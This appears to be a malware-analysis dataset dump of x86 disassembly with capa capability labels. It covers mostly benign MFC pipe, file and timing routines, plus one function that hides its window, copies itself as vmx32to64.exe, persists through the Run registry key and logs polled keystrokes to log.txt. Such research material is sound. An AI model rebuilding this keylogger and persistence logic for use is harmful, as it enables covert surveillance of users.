joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4098b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
mov ebp, dword [esp + 0x30]
sub eax, edi
cmp eax, ebp
jae 0x409941
mov ebx, dword [sym.imp.USER32.dll_PeekMessageA]
push 1
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
call ebx
test eax, eax
je 0x40990a
mov eax, dword [esp + 0x14]
cmp eax, 0x12
je 0x40991a
cmp eax, 0x10
je 0x40992a
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
call esi
sub eax, edi
cmp eax, ebp
jb 0x4098d3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
push eax
push ecx
push 0x10
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x409a30
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, ecx
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
cmp dword [eax + 0xc8], 3
je 0x409aa8
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
cmp dword [eax + 0xc8], 2
je 0x409aa8
mov ecx, dword [esp + 0xc]
mov edx, dword [esi + 0x6c]
push edi
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x14]
push 0
push eax
push edi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
test eax, eax
jne 0x409a8b
push 0
push 0x41be34
push str.Internal_error:_WriteFile_failed
push 0
call esi
mov eax, dword [esp + 0x14]
cmp eax, edi
pop edi
je 0x409aca
push 0
push 0x41be34
push str.Internal_error:_write_to_pipe_failed
push 0
call esi
pop esi
ret 0xc
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x409aca
mov eax, 0x40a650
test eax, eax
je 0x409aca
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x10]
push eax
call dword [edx + 0xc8]
pop esi
ret 0xc
Function at 0x409ad0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ecx
push esi
push edi
mov esi, ecx
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
cmp dword [eax + 0xc8], 3
je 0x409b71
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
cmp dword [eax + 0xc8], 2
je 0x409b71
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
lea eax, [esp + 8]
push 0
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esi + 0x70]
push ecx
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x409b33
push eax
push eax
push str.Internal_error:_PeekNamedPipeFailed
call sub.MFC42.DLL_AfxMessageBox
pop edi
xor eax, eax
pop esi
pop ecx
ret 0xc
mov ecx, dword [esp + 0x14]
xor eax, eax
test ecx, ecx
mov dword [esp + 0x18], eax
je 0x409bf4
lea edx, [esp + 0x18]
push eax
mov eax, dword [esi + 0x70]
push edx
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x409be4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
cmp eax, ecx
je 0x409bf4
jmp 0x409be4
mov eax, dword [esi + 0x60]
test eax, eax
je 0x409bf2
mov ecx, dword [esi + 0x64]
test ecx, ecx
je 0x409bf2
mov edi, dword [esp + 0x14]
lea ecx, [esp + 8]
push 0
push ecx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1c]
push edx
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x409bb4
push eax
push eax
push str.Internal_error:_PeekNamedPipeFailed
call sub.MFC42.DLL_AfxMessageBox
pop edi
xor eax, eax
pop esi
pop ecx
ret 0xc
mov ecx, dword [esp + 0x14]
xor eax, eax
test ecx, ecx
mov dword [esp + 0x18], eax
je 0x409bf4
lea edx, [esp + 0x18]
push eax
mov eax, dword [esi + 0x60]
push edx
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x409be4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
cmp eax, ecx
je 0x409bf4
push 0
push 0
push str.Internal_error:_ReadFile_failed
call sub.MFC42.DLL_AfxMessageBox
xor eax, eax
pop edi
pop esi
pop ecx
ret 0xc

Function at 0x40b360
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
xor edx, edx
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
cmp ecx, esi
jae 0x40b3a0
push ebx
push edi
mov edi, dword [0x42632c]
mov eax, edx
xor ebx, ebx
mov bl, byte [ecx]
and eax, 0xffff
shr eax, 8
xor eax, ebx
xor ebx, ebx
mov bh, dl
mov dx, word [edi + eax*2]
xor dx, bx
inc ecx
cmp ecx, esi
jb 0x40b379
pop edi
pop ebx
test dx, dx
jne 0x40b3a4
mov eax, esi
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x40b3b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
xor eax, eax
mov ecx, dword [esi + 8]
mov edi, dword [esi + 0xc]
cmp ecx, edi
jae 0x40b3ee
push ebx
push ebp
mov ebp, dword [0x42632c]
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xffff
shr edx, 8
xor edx, ebx
xor ebx, ebx
mov bh, al
mov ax, word [ebp + edx*2]
xor ax, bx
inc ecx
cmp ecx, edi
jb 0x40b3ca
pop ebp
pop ebx
xor ecx, ecx
mov cl, ah
mov byte [edi], cl
mov ecx, dword [esi + 0xc]
inc ecx
pop edi
mov dword [esi + 0xc], ecx
mov byte [ecx], al
mov eax, dword [esi + 0xc]
inc eax
mov dword [esi + 0xc], eax
pop esi
ret
Function at 0x40d200
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41395e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x88
mov dword [ebp - 0x84], ecx
push 0
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x84]
call fcn.0040c259
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x84]
mov dword [eax], 0x415b90
cmp dword [0x42680c], 0
jne 0x40d26f
mov dword [0x42680c], 1
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 0x1a24], 0xffffffff
mov edx, dword [ebp - 0x84]
mov dword [edx + 0x4c], 1
push 0
push 0
call fcn.0040d020
mov eax, dword [eax + 0x20]
push eax
mov ecx, dword [sym.imp.MFC42.DLL_CRectconstCFrameWnd::rectDefault]
push ecx
push 0x40000000
mov edx, dword [ebp + 0x10]
push edx
push str.F2_Conversation:
lea ecx, [ebp - 0x7c]
call fcn.00412b9c
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x8c]
push ecx
lea edx, [ebp - 0x80]
push edx
call sub.MFC42.DLL_operator
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x94]
call fcn.0040d010
push eax
push 0
mov ecx, dword [ebp - 0x84]
call sub.MFC42.DLL_CWnd::Create
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x80]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 0x14], 0x12d
jne 0x40d3c0
push 0x41a794
push 0
push str.Delay1
push 0x41a7a8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 0x10], eax
push 0x41a7b0
push 0
push str.Delay2
push 0x41a7c4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
jne 0x40d37e
cmp dword [ebp - 0x14], 0
je 0x40d3c0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push str.Waiting_for_C1Test_Delay1__d_Msec.__Delay2__d_Msec
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push str.Fidia.ini
push 0
push str.verbose
push str.C1test
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
je 0x40d3c0
push 0
push 0
lea ecx, [ebp - 0x78]
push ecx
call sub.MFC42.DLL_AfxMessageBox
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp - 0x84]
call fcn.0040d78d
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x40d47c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 0x19f0
push eax
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x1a24]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40d4cb
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x40d4cb
push 0
push 0
push 0x41a81c
call sub.MFC42.DLL_AfxMessageBox
xor eax, eax
jmp 0x40d58d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0x3e5
je 0x40d4e5
jmp 0x40d4e7
jmp 0x40d4ee
xor eax, eax
jmp 0x40d58d
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x1a00]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x1a20]
mov dword [ebp - 0xc], edx
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x10]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40d527
cmp dword [ebp - 0x1c], 1
je 0x40d579
jmp 0x40d57d
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0x19f0
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1a24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x40d558
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
xor eax, eax
jmp 0x40d58d
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0xc]
je 0x40d572
push 0
push 0
push str.Internal_error:_WriteFile_not_fully_completed
call sub.MFC42.DLL_AfxMessageBox
xor eax, eax
jmp 0x40d58d
mov eax, 1
jmp 0x40d58d
xor eax, eax
jmp 0x40d58d
push 0
push 0
push 0x41a87c
call sub.MFC42.DLL_AfxMessageBox
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40d593
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 0x1a04
push eax
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x1a24]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40d5cf
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x3e5
je 0x40d5e9
jmp 0x40d5eb
jmp 0x40d5f2
xor eax, eax
jmp 0x40d67f
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x1a14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1a20]
mov dword [ebp - 0xc], ecx
push 0xffffffffffffffff
push 0
lea edx, [ebp - 0x10]
push edx
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40d62b
cmp dword [ebp - 0x1c], 1
je 0x40d66b
jmp 0x40d66f
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1a04
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x1a24]
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x40d65c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
xor eax, eax
jmp 0x40d67f
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, 1
jmp 0x40d67f
xor eax, eax
jmp 0x40d67f
push 0
push 0
push str.Internal_error:_unknown_event_signaled
call sub.MFC42.DLL_AfxMessageBox
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x40daea
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
jae 0x40db46
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x40db44
cmp dword [ebp - 0x1c], 0x12
jne 0x40db30
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x40db46
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40dafc
mov esp, ebp
pop ebp
ret 4
Function at 0x40e14b
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413a66
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
add ecx, 0x19e8
call fcn.0040d010
push eax
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.0040e03f
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x20]
push edx
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator_1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
call fcn.0040d010
push eax
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x19f0], eax
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x19f0], 0
jne 0x40e205
push 0
push 0
push 0x41aa50
call sub.MFC42.DLL_AfxMessageBox
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
jmp 0x40e276
push 4
push 0
push 0
push 0xf001f
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x19f0]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x19f4], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x19f4], 0
jne 0x40e254
push 0
push 0
push 0x41aa80
call sub.MFC42.DLL_AfxMessageBox
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
jmp 0x40e276
mov ecx, dword [ebp - 0x18]
call fcn.0040ee00
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x19f4]
mov dword [edx], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40f417
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413b8d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
add ecx, 0x19e8
call fcn.0040d010
push eax
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.0040f32e
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x20]
push edx
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator_1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
call fcn.0040d010
push eax
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x19f0], eax
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x19f0], 0
jne 0x40f4d1
push 0
push 0
push 0x41addc
call sub.MFC42.DLL_AfxMessageBox
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
jmp 0x40f542
push 4
push 0
push 0
push 0xf001f
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x19f0]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x19f4], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x19f4], 0
jne 0x40f520
push 0
push 0
push 0x41ae0c
call sub.MFC42.DLL_AfxMessageBox
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
jmp 0x40f542
mov ecx, dword [ebp - 0x18]
call fcn.0040ee00
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x19f4]
mov dword [edx], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Copy file
Hide graphical window
Log keystrokes via polling
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42145c
mov eax, dword fs:[0]
push eax
sub esp, 0xf4
mov eax, dword [0x430094]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov byte [ebp - 0x39], 0x78
push 0
push str.C:Windows_vmx32to64.exe
push str.key.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 6
mov esi, 0x4222c8
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov word [ebp - 0x13], ax
lea ecx, [ebp - 0x40]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x23
lea edx, [ebp - 0x34]
push edx
push 1
push 0
push str.vmx32to64
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 1
test edx, edx
je 0x401696
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x38], 8
jmp 0x4015ec
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xbe
jg 0x401691
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
cmp edx, 0xffff8001
jne 0x40168c
mov eax, dword [ebp - 0x38]
push eax
call fcn.004011a0
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x40168c
push 1
lea ecx, [ebp - 0x100]
call fcn.00402a10
mov dword [ebp - 4], 0
push 0x40
push 8
push str.log.txt
lea ecx, [ebp - 0x100]
call fcn.004067f0
lea ecx, [ebp - 0x100]
call fcn.004064e0
movzx edx, al
test edx, edx
je 0x40167a
movzx eax, byte [ebp - 0x38]
push eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.004017c0
add esp, 8
lea ecx, [ebp - 0x100]
call fcn.00405c40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.00404230
jmp 0x4015e3
jmp 0x4015c5
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408eda
mov esp, ebp
pop ebp
ret
Function at 0x404a20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x430094]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x38], 0
je 0x404a47
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x404a4e
mov al, 1
jmp 0x404b29
call fcn.00405fd0
push eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.00405fd0
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00406000
add esp, 8
movzx eax, al
test eax, eax
je 0x404a8a
xor al, al
jmp 0x404b29
mov dword [ebp - 0x48], 0x20
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x40
push ecx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0x38]
call fcn.004075b0
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x404ac6
cmp dword [ebp - 0x30], 1
je 0x404acd
cmp dword [ebp - 0x30], 3
je 0x404b1c
jmp 0x404b27
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x3d], 0
mov ecx, dword [ebp - 0x44]
lea edx, [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0x34], ecx
je 0x404afc
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040ea5a
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x404afc
xor al, al
jmp 0x404b29
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x404b10
mov dword [ebp - 0x38], 1
jmp 0x404b17
mov dword [ebp - 0x38], 0
mov al, byte [ebp - 0x38]
jmp 0x404b29
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x3d], 0
mov al, 1
jmp 0x404b29
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408eda
mov esp, ebp
pop ebp
ret
Function at 0x406890
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x430094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov dword [ebp - 0x2c], ecx
call fcn.00405fd0
mov dword [ebp - 0x44], eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x44]
push ecx
call fcn.00406000
add esp, 8
movzx edx, al
test edx, edx
je 0x4068d5
lea eax, [ebp + 8]
push eax
call fcn.004066e0
add esp, 4
jmp 0x406a56
mov ecx, dword [ebp - 0x2c]
call fcn.00406c20
test eax, eax
je 0x406917
mov ecx, dword [ebp - 0x2c]
call fcn.00406c20
mov esi, eax
mov ecx, dword [ebp - 0x2c]
call fcn.00405fe0
cmp esi, eax
jae 0x406917
lea ecx, [ebp + 8]
push ecx
call fcn.00407220
add esp, 4
mov bl, al
mov ecx, dword [ebp - 0x2c]
call fcn.004054a0
mov byte [eax], bl
mov eax, dword [ebp + 8]
jmp 0x406a56
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 0x4c], 0
jne 0x40692a
call fcn.00405fd0
jmp 0x406a56
mov ecx, dword [ebp - 0x2c]
call fcn.004054f0
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x38], 0
jne 0x406979
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x4c]
push edx
lea eax, [ebp + 8]
push eax
call fcn.00407220
add esp, 4
movzx ecx, al
push ecx
call fcn.00401f20
add esp, 8
movzx edx, al
test edx, edx
je 0x406969
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
jmp 0x406971
call fcn.00405fd0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
jmp 0x406a56
mov dword [ebp - 0x50], 0x20
lea ecx, [ebp + 8]
push ecx
call fcn.00407220
add esp, 4
mov byte [ebp - 0x2e], al
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x2d]
push eax
lea ecx, [ebp - 0x2e]
push ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x40
push edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x38]
call fcn.00406850
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x406a51
cmp dword [ebp - 0x34], 1
jle 0x4069d4
cmp dword [ebp - 0x34], 3
je 0x406a21
jmp 0x406a51
mov ecx, dword [ebp - 0x48]
lea edx, [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0x38], ecx
je 0x406a06
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040ea5a
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x406a06
call fcn.00405fd0
jmp 0x406a56
mov ecx, dword [ebp - 0x2c]
mov byte [ecx + 0x3d], 1
lea edx, [ebp - 0x2e]
cmp dword [ebp - 0x4c], edx
je 0x406a1a
mov eax, dword [ebp + 8]
jmp 0x406a56
call fcn.00405fd0
jmp 0x406a56
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
movzx edx, byte [ebp - 0x2e]
push edx
call fcn.00401f20
add esp, 8
movzx eax, al
test eax, eax
je 0x406a44
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x40], ecx
jmp 0x406a4c
call fcn.00405fd0
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
jmp 0x406a56
call fcn.00405fd0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408eda
mov esp, ebp
pop ebp
ret 4